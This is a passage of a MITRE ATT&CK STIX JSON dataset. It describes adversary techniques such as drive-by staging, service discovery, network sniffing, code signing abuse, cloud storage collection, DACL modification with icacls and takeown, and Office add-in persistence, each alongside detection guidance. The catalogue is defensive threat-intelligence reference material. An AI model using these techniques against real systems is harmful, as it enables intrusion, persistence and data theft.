            "description": "Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).\n\nAdversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including:\n\n* Inserting malicious scripts into web pages or other user controllable web content such as forum posts\n* Modifying script files served to websites from publicly writeable cloud storage buckets\n* Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))\n\nIn addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Internet Scan: Response Content"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "created": "2017-05-31T21:30:21.315Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1007",
                    "external_id": "T1007"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T23:14:33.837Z",
            "name": "System Service Discovery",
            "description": "Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as <code>sc query</code>, <code>tasklist /svc</code>, <code>systemctl --type=service</code>, and <code>net start</code>.\n\nAdversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Harshal Tupsamudre, Qualys"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation",
                "Process: OS API Execution"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529",
            "created": "2017-05-31T21:30:41.399Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1040",
                    "external_id": "T1040"
                },
                {
                    "source_name": "AWS Traffic Mirroring",
                    "description": "Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022.",
                    "url": "https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html"
                },
                {
                    "source_name": "capture_embedded_packet_on_software",
                    "description": "Cisco. (2022, August 17). Configure and Capture Embedded Packet on Software. Retrieved July 13, 2022.",
                    "url": "https://www.cisco.com/c/en/us/support/docs/ios-nx-os-software/ios-embedded-packet-capture/116045-productconfig-epc-00.html"
                },
                {
                    "source_name": "GCP Packet Mirroring",
                    "description": "Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022.",
                    "url": "https://cloud.google.com/vpc/docs/packet-mirroring"
                },
                {
                    "source_name": "SpecterOps AWS Traffic Mirroring",
                    "description": "Luke Paine. (2020, March 11). Through the Looking Glass \u2014 Part 1. Retrieved March 17, 2022.",
                    "url": "https://posts.specterops.io/through-the-looking-glass-part-1-f539ae308512"
                },
                {
                    "source_name": "Azure Virtual Network TAP",
                    "description": "Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022.",
                    "url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview"
                },
                {
                    "source_name": "Rhino Security Labs AWS VPC Traffic Mirroring",
                    "description": "Spencer Gietzen. (2019, September 17). Abusing VPC Traffic Mirroring in AWS. Retrieved March 17, 2022.",
                    "url": "https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/"
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:19.739Z",
            "name": "Network Sniffing",
            "description": "Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or [Defense Evasion](https://attack.mitre.org/tactics/TA0005) activities. Adversaries may likely also utilize network sniffing during [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) (AiTM) to passively gain additional knowledge about the environment.\n\nIn cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)(Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)\n\nOn network devices, adversaries may perform network captures using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `monitor capture`.(Citation: US-CERT-TA18-106A)(Citation: capture_embedded_packet_on_software)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Oleg Kolesnikov, Securonix",
                "Tiago Faria, 3CORESec",
                "Austin Clark, @c2defense",
                "Itamar Mizrahi, Cymptom",
                "Eliraz Levi, Hunters"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\n\nIn cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors. For network infrastructure devices, collect AAA logging to monitor for the capture of network traffic.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices",
                "IaaS"
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            "x_mitre_version": "1.7",
            "x_mitre_data_sources": [
                "Command: Command Execution",
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61",
            "created": "2017-05-31T21:30:27.755Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1017",
                    "external_id": "T1017"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/187.html",
                    "external_id": "CAPEC-187"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:21.467Z",
            "name": "Application Deployment Software",
            "description": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
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            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "created": "2020-02-05T16:27:37.784Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1553/002",
                    "external_id": "T1553.002"
                },
                {
                    "source_name": "EclecticLightChecksonEXECodeSigning",
                    "description": "Howard Oakley. (2020, November 16). Checks on executable code in Catalina and Big Sur: a first draft. Retrieved September 21, 2022.",
                    "url": "https://eclecticlight.co/2020/11/16/checks-on-executable-code-in-catalina-and-big-sur-a-first-draft/"
                },
                {
                    "source_name": "Securelist Digital Certificates",
                    "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
                    "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"
                },
                {
                    "source_name": "Symantec Digital Certificates",
                    "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.",
                    "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates"
                },
                {
                    "source_name": "Wikipedia Code Signing",
                    "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.",
                    "url": "https://en.wikipedia.org/wiki/Code_signing"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:16.240Z",
            "name": "Code Signing",
            "description": "Adversaries may create, acquire, or steal code signing materials to sign their malware or tools. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) The certificates used during an operation may be created, acquired, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates) Unlike [Invalid Code Signature](https://attack.mitre.org/techniques/T1036/001), this activity will result in a valid signature.\n\nCode signing to verify software on first run can be used on modern Windows and macOS systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)(Citation: EclecticLightChecksonEXECodeSigning)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "File: File Metadata"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7",
            "created": "2019-08-30T18:07:27.741Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1530",
                    "external_id": "T1530"
                },
                {
                    "source_name": "Amazon S3 Security, 2019",
                    "description": "Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019.",
                    "url": "https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/"
                },
                {
                    "source_name": "Microsoft Azure Storage Security, 2019",
                    "description": "Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019.",
                    "url": "https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide"
                },
                {
                    "source_name": "Wired Magecart S3 Buckets, 2019",
                    "description": "Barrett, B.. (2019, July 11). Hack Brief: A Card-Skimming Hacker Group Hit 17K Domains\u2014and Counting. Retrieved October 4, 2019.",
                    "url": "https://www.wired.com/story/magecart-amazon-cloud-hacks/"
                },
                {
                    "source_name": "Google Cloud Storage Best Practices, 2019",
                    "description": "Google. (2019, September 16). Best practices for Cloud Storage. Retrieved October 4, 2019.",
                    "url": "https://cloud.google.com/storage/docs/best-practices"
                },
                {
                    "source_name": "HIPAA Journal S3 Breach, 2017",
                    "description": "HIPAA Journal. (2017, October 11). 47GB of Medical Records and Test Results Found in Unsecured Amazon S3 Bucket. Retrieved October 4, 2019.",
                    "url": "https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/"
                },
                {
                    "source_name": "Rclone-mega-extortion_05_2021",
                    "description": "Justin Schoenfeld, Aaron Didier. (2021, May 4). Transferring leverage in a ransomware attack. Retrieved July 14, 2022.",
                    "url": "https://redcanary.com/blog/rclone-mega-extortion/"
                },
                {
                    "source_name": "Trend Micro S3 Exposed PII, 2017",
                    "description": "Trend Micro. (2017, November 6). A Misconfigured Amazon S3 Exposed Almost 50 Thousand PII in Australia. Retrieved October 4, 2019.",
                    "url": "https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:15:26.889Z",
            "name": "Data from Cloud Storage",
            "description": "Adversaries may access data from cloud storage.\n\nMany IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform. \n\nIn some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly though the [Cloud API](https://attack.mitre.org/techniques/T1059/009). In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)). \n\nAdversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.\n\nThis open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017)(Citation: Rclone-mega-extortion_05_2021)\n\nAdversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Netskope",
                "Praetorian",
                "AppOmni",
                "Arun Seelagan, CISA"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "IaaS",
                "SaaS",
                "Office Suite"
            ],
            "x_mitre_version": "2.2",
            "x_mitre_data_sources": [
                "Cloud Service: Cloud Service Metadata",
                "Cloud Storage: Cloud Storage Access"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490",
            "created": "2020-03-02T14:30:05.252Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1565/003",
                    "external_id": "T1565.003"
                },
                {
                    "source_name": "DOJ Lazarus Sony 2018",
                    "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.",
                    "url": "https://www.justice.gov/opa/press-release/file/1092091/download"
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                    "source_name": "FireEye APT38 Oct 2018",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 17, 2024.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"
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            "name": "Runtime Data Manipulation",
            "description": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
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                    "source_name": "Pentestlab Stored Credentials",
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            "x_mitre_detection": "Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.",
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                    "source_name": "Peripheral Discovery Linux",
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                    "source_name": "Peripheral Discovery macOS",
                    "description": "SS64. (n.d.). system_profiler. Retrieved March 11, 2022.",
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                    "source_name": "3OHA double-fork 2022",
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                    "url": "https://0xjet.github.io/3OHA/2022/04/11/post.html"
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                    "source_name": "Microsoft XorDdos Linux Stealth 2022",
                    "description": "Microsoft Threat Intelligence. (2022, May 19). Rise in XorDdos: A deeper look at the stealthy DDoS malware targeting Linux devices. Retrieved September 27, 2023.",
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                    "source_name": "Sandfly BPFDoor 2022",
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            "created": "2020-10-02T15:49:03.815Z",
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                    "external_id": "T1590.004"
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                    "source_name": "DNS Dumpster",
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                    "source_name": "Wikipedia Code Signing",
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            "name": "Code Signing Certificates",
            "description": "Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "Hybrid Analysis Icacls1 June 2018",
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                    "source_name": "Microsoft Access Control Lists May 2018",
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                    "source_name": "Microsoft DACL May 2018",
                    "description": "Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19, 2018.",
                    "url": "https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces"
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                    "source_name": "EventTracker File Permissions Feb 2014",
                    "description": "Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.",
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            "modified": "2025-04-15T23:21:45.352Z",
            "name": "Windows File and Directory Permissions Modification",
            "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)\n\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor and investigate attempts to modify DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Active Directory: Active Directory Object Modification",
                "Process: Process Creation",
                "File: File Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d",
            "created": "2019-11-07T19:52:52.801Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1137/006",
                    "external_id": "T1137.006"
                },
                {
                    "source_name": "FireEye Mail CDS 2018",
                    "description": "Caban, D. and Hirani, M. (2018, October 3). You\u2019ve Got Mail! Enterprise Email Compromise. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20190508170121/https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf"
                },
                {
                    "source_name": "MRWLabs Office Persistence Add-ins",
                    "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20190526112859/https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/"
                },
                {
                    "source_name": "Microsoft Office Add-ins",
                    "description": "Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.",
                    "url": "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460"
                },
                {
                    "source_name": "GlobalDotName Jun 2019",
                    "description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.",
                    "url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique"
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            "modified": "2025-04-15T21:45:27.400Z",
            "name": "Add-ins",
            "description": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. ",
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "File: File Modification",
                "Command: Command Execution",
                "Windows Registry: Windows Registry Key Creation",
                "Process: Process Creation",
                "File: File Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1",
            "created": "2019-12-12T15:08:20.972Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1505/002",
